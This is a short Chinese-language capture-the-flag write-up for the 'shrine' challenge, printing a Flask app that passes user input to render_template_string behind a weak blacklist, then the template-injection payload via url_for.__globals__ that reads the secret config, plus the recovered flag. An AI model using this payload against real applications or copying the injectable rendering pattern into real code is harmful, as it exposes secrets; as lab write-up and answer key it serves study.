攻防世界 shrine

题目打开就是源码

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

app.config['FLAG'] = os.environ.pop('FLAG')

明确目标 FLAG在应该config['FLAG']中

代码审计一下

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

当用户访问形如 /shrine/something 的路径时,调用了safe_jinja替换了左右括号 '('  ')'  设置了黑名单'config' 'self' 尝试了url编码没用

payload形式  http://61.147.171.105:58049/shrine/something

感觉像是模板注入尝试了一下简单判断

到这不知道怎么下手了 看了WP

使用Python内置函数读取全局变量   url_for或者get_flashed_messages

url/shrine/{{url_for.__globals__}}

current_app: 当前的 Flask 应用实例，可以通过它访问应用的配置、路由、模板等。

python沙箱逃逸的方法是 利用python对象之间的引用关系来调用被禁用的函数对象

构造payloads:   /shrine/{{url_for.__globals__['current_app'].config['FLAG']}}

flag{shrine_is_good_ssti}

沙箱逃逸的例子